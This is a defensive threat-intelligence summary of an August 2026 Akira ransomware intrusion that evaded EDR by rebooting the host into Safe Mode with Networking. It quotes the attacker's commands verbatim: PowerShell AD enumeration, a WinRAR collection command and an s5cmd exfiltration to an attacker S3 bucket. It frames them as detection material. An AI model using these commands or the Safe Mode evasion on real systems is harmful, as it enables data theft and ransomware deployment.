Akira Hits Safe Mode: Ransomware Rebooting Around EDR

What it is

An August 4, 2026 Akira ransomware intrusion analysed by Huntress (with Dray Agha). The novel element is the affiliate rebooting the compromised host into Safe Mode with Networking to disable EDR, rather than the earlier Akira trick of spinning up a clean VM on the victim's hypervisor to run the encryptor. The rest follows Akira's standard playbook beat for beat.

How it works

Safe Mode with Networking loads only core Windows drivers and services while keeping network connectivity. Third-party security products are excluded from that minimal driver set by design, so a single reboot took both the Huntress agent and Windows Defender real-time protection offline while preserving the network access needed to continue the attack — no VM, no separate execution host required.

The full chain (verbatim commands worth turning into detections):

AD enumeration on the DC — the $formatenumerationlimit = -1 line removes PowerShell's default four-item truncation on multi-valued attributes like MemberOf, capturing every group membership:

$formatenumerationlimit = -1
Get-ADUser -Filter * -Properties * | Select-Object Enabled, CanonicalName, CN, Name, SamAccountName, MemberOf, ... > C:\ProgramData\AdUsers.txt
Get-ADComputer -Filter * -Property * | Select-Object ... > C:\ProgramData\AdComp.txt

Collection via WinRAR (same flags Huntress documented in the prior SonicWall campaign — a cross-affiliate tradecraft tell):

WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . "<share_1>" <share_2> <share_3> <share_4>

Exfil to attacker S3 bucket via s5cmd:

s5cmd cp --sp "E:\upload*" s3://<attacker-bucket>/

AnyDesk was installed as a Windows-startup service serving as both C2 and delivery. Notably, commands were pasted live through the AnyDesk clipboard channel (four blocks: ~4 KB, 296 B, 2 KB, 632 KB) — hands-on-keyboard, not an unattended script. The akira.exe binary landed ~27 seconds after an inbound AnyDesk file transfer.

Preconditions / Affected

Internet-exposed SonicWall SSL VPN with a valid account and no MFA — the initial spray succeeded ~7 minutes after starting (03:45 → 03:52:42 UTC). The successful login sat idle nearly two hours before hands-on-keyboard RDP to the DC.

What to do

Enforce MFA on SonicWall SSL VPN. Alert on the artifacts above: AdUsers.txt/AdComp.txt in C:\ProgramData, the specific WinRAR flag string, s5cmd, AnyDesk service installs, and — the key new signal — unexpected reboots into Safe Mode with Networking, which should be treated as an EDR-evasion event, not a benign diagnostic action.

Caveats

The fetched text cuts off before the "detection and response lessons" section, so those specifics aren't captured here. The page also teases that the attacker's own Safe Mode trick appears to have sabotaged their ransomware — but the detail is beyond the available text.